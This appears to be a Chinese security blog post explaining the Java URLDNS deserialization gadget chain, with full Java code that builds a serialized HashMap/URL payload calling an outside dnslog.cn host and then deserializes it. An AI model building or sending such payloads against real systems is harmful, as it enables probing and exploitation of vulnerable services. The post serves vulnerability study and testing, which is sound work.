title: JAVA反序列化-URLDNS链date: 2022/3/14 20:46:25
categories: JAVA安全
tags: JAVA安全
关于URLDNS
URLDNS是java原生态的一条利用链条通常存在反序列化漏洞进行验证的,因为是原生态所以并不存在什么版本限制。
处理流程
首先跟进HashMap
发现readObject
跟进hash查看
发现hash接受对象作为参数,如果对象不为空 那么调用当前类的hashCode方法
这里看URL这个类里面存在hashCode方法
发现hashCode方法
hashCode默认值为-1
如果不等于-1返回hashCode
所以hashCode得等于-1才会往下执行
会调用handler中的hashCode方法
跟进查看
我们参数传递u跟进getHostAddress方法查看做了什么
然后调用getByName解析host
所以整条链的调用流程
hashmap->readObject->hash->URL.hashCode->getHostAddress->InetAddress.getByName
如何实现
因为我们序列化过程也会执行访问handler.hashCode,那么就会访问dnslog,反序列化过程也会访问dnslog,所以我们想办法不让其往下执行不让他执行getHostAddress
令hashCode不为-1。
所以我们可以使用反射来修改URL类中的一些参数值,来修改URL中的hashCode值。
反射的利用
利用反射来修改类中属性的值,
序列化
package dnsTest;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.*;
public class dnsTest {
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("http://67v7g8.dnslog.cn");
//反射调用URL类
Class c = URL.class;
//申请访问URL类中的hashCode赋值给fieldHashCode
Field fieldHashCode = c.getDeclaredField("hashCode");
//设置fieldHashCode为true
fieldHashCode.setAccessible(true);
//设置url类中的hashCode值为123
fieldHashCode.set(url,123);
hashmap.put(url,22);
//设置url类中的hashCode值为-1
fieldHashCode.set(url,-1);
Serialize(hashmap);
}
public static void Serialize(Object obj) throws Exception{
ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
InputStream.writeObject(obj);
InputStream.close();
}
}
反序列化
package dnsTest;
import java.io.*;
public class unserialize {
public static void main(String[] args) throws Exception {
unserialize();
}
public static void unserialize() throws Exception{
ObjectInputStream InputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
Object obj = InputStream.readObject();
System.out.println(obj);
}
}